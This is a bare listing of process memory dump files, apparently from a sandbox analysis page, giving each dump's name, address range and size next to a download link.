memory/2736-43-0x0000000007460000-0x00000000074F6000-memory.dmp

Filesize
600KB

Download
memory/2736-47-0x0000000008BC0000-0x000000000DB7A000-memory.dmp

Filesize
79.7MB

Download
memory/2736-42-0x0000000006750000-0x000000000676A000-memory.dmp

Filesize
104KB

Download
memory/2736-41-0x00000000079E0000-0x000000000805A000-memory.dmp

Filesize
6.5MB

Download
memory/2736-40-0x00000000061D0000-0x000000000621C000-memory.dmp

Filesize
304KB

Download
memory/2736-39-0x0000000006190000-0x00000000061AE000-memory.dmp

Filesize
120KB

Download
memory/2736-44-0x00000000073C0000-0x00000000073E2000-memory.dmp

Filesize
136KB

Download
memory/2736-27-0x0000000005AE0000-0x0000000005B46000-memory.dmp

Filesize
408KB

Download
memory/2736-26-0x0000000005370000-0x00000000053D6000-memory.dmp

Filesize
408KB

Download
memory/2736-23-0x0000000002880000-0x00000000028B6000-memory.dmp

Filesize
216KB

Download
memory/2736-24-0x00000000054B0000-0x0000000005AD8000-memory.dmp

Filesize
6.2MB

Download
memory/4328-4-0x00007FFB28113000-0x00007FFB28115000-memory.dmp

Filesize
8KB

Download
memory/4328-22-0x00007FFB28110000-0x00007FFB28BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4328-19-0x00007FFB28110000-0x00007FFB28BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4328-16-0x00007FFB28110000-0x00007FFB28BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4328-15-0x00007FFB28110000-0x00007FFB28BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4328-5-0x00000205A7C60000-0x00000205A7C82000-memory.dmp

Filesize
136KB

Download